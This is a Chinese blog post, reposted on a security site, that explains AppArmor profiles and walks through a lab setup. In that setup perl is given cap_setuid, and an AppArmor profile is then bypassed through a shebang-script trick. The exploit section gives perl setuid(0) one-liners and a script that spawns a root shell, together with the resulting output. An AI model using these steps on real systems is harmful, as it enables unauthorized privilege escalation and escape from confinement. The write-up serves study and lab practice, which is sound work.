Apparmor的绕过

admin 2023年12月14日14:14:05评论5 views字数 3954阅读13分10秒阅读模式

0x00 简介

什么是AppArmor?AppArmor是一项安全功能,可以在许多Linux发行版中找到。SLES(SUSE Linux Enterprise Server),openSUSE和Ubuntu是该产品附带的一些发行版。Apparmor是内核增强功能,旨在将程序限制在有限的资源集中。Apparmor与其他安全工具的不同之处在于,它将访问控制属性绑定到程序而不是单个用户。

Apparmor的限制是由加载到内核中的特殊配置文件提供的。这些配置文件可以在两种模式下运行:complain modeenforce mode

  • enforce:以enforce模式加载的配置文件将导致配置文件中定义的策略的强制执行以及报告策略违规尝试(通过 syslog 或 auditd)。
  • Complain:Complain模式下的配置文件不会强制执行策略,而是报告违反策略的尝试。

AppArmor 与 Linux 上的其他一些 MAC 系统不同:它是基于路径的,它允许混合执行和抱怨模式配置文件,它使用包含文件来简化开发,并且它的进入门槛远低于其他流行的 MAC 系统。

0x01 基本架构

AppArmor的配置文件

Apparmor 配置文件通常保存在**/etc/apparmor.d/***中 ,sudo aa-status将能够列出受某些配置文件限制的二进制文件。如果可以更改每个列出的二进制文件路径的点的字符“/”,将获得上述文件夹内的 apparmor 配置文件的名称。

例如,/usr/bin/man的apparmor配置文件将位于*/etc/apparmor.d/usr.bin.man*

安装apparmor-utils

首先,需要执行以下命令来安装apparmor-utils

└─$ sudo apt-get install apparmor-utils

命令

aa-status     #查看当前状态
aa-enforce    #把配置文件设置成强制模式
aa-complain   #把配置文件设置成投诉模式
apparmor_parser #重启加载改变的策略
aa-genprof    #生成一个新的配置文件
aa-logprof    #读取执行的日志
aa-mergeprof  #合并策略

创建配置文件

为了指示受影响的可执行文件,允许使用绝对路径和通配符(用于文件通配符)来指定文件。

为了指示二进制文件对文件的访问权限,可以使用以下访问控制:

  • r (读取)
  • w (写)
  • m (内存映射为可执行文件)
  • k (文件锁定)
  • l (创建硬链接)
  • ix (以新的程序继承策略执行另一个程序)
  • px (清理环境后在另一个配置文件下执行)
  • Cx (清理环境后在子配置文件下执行)
  • ux (清理环境后无约束执行)

变量可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(将 #include <tunables/global> 添加到配置文件中)支持拒绝规则覆盖允许规则

在配置文件这块的知识可以看suse的apparmor的文档,这里就不再详细阐述:

https://documentation.suse.com/zh-cn/sled/15-SP2/html/SLED-all/cha-apparmor-profiles.html

0x02 配置漏洞环境

前言

这个漏洞是我在练习hackthebox的nunchucks靶机时候发现的,具体的walkthrough可以看0xdf大佬的文章:

https://0xdf.gitlab.io/2021/11/02/htb-nunchucks.html

配置perl的Capabilities

Capabilities的知识可以看下:

Linux Capabilities 入门教程:概念篇

Linux Capabilities 入门教程:基础实战篇

Linux Capabilities 入门教程:进阶实战篇

也很简单,只要执行下面命令就行了:

└─$ sudo setcap "cap_setuid+ep" /usr/bin/perl

使用getcap可以看到perl已经拥有了cap_setuid

└─$ getcap /usr/bin/perl
/usr/bin/perl cap_setuid=ep

配置AppArmor

/etc/apparmor.d目录下创建文件usr.bin.perl

#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,

}
  • include包含的对象体在目录下的abstractions目录

  • capability 功能项是任何 POSIX.1e http://en.wikipedia.org/wiki/POSIX Linux 功能的配置文件项,可用于精细控制允许受限制进程通过需要特权的系统调用执行哪些操作。

  • 后面的mrix读写可以看下suse的文章https://documentation.suse.com/zh-cn/sled/15-SP2/html/SLED-all/cha-apparmor-profiles.html#sec-apparmor-profiles-perm

保存好之后重启下服务:

└─$ sudo systemctl reload apparmor

0x03 Exploit

具体攻击方法是参考了Gtfobins,执行下面的payload:

└─$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

我们可以看到是有root权限了,我们再执行:

└─$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

└─$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

执行bash的时候是没有任何返回的,但是执行读取cat /etc/shadow是被拒绝访问了,为什么呢?我们不是设置了Capabilities,那应该是有root权限了吗?原因就是在于这个apparmor的权限控制导致的,这样一来我们就无法去拿到root的shell了吗?当然是有办法的。

在一篇文章中看到了shebang的bug利用:Apparmor のバイパステクニック

里面讲了一个apparmor的一个bugexecution via bang-line not mediated by apparmor

This bug posted to the AppArmor devs shows that while AppArmor will protect a script run with the binary, it won’t have any impact when Perl is invoked via the SheBang.

There’s two common ways to start a script on Linux. The first is to call the interpreter (bash, python, perl) and then give it the script as an argument. This method will apply AppArmor protections as expected.

The other is using a Shebang (#!) and setting the script itself to executable. When Linux tries to load the script as executable, that line tells it what interpreter to use. For some reason, the AppArmor developers don’t believe that the rules for the interpreter should apply there, and so they don’t.

下面是具体的利用方法:

  • 创建一个perl脚本文件:

    └─$ cd /tmp
    └─$ vim a.pl
    

    文件内容为:

    #!/usr/bin/perl
    use POSIX qw(strftime);
    use POSIX qw(setuid);
    POSIX::setuid(0);
    
    exec "/bin/sh"
    
  • 赋予执行权限

    └─$ chmod +x ./a.pl
    
  • 执行脚本

    └─$ ./a.pl 
    # id
    uid=0(root) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),121(wireshark),126(bluetooth),138(scanner),146(kaboxer)
    

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:14:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apparmor的绕过http://cn-sec.com/archives/2298694.html

发表评论

匿名网友 填写信息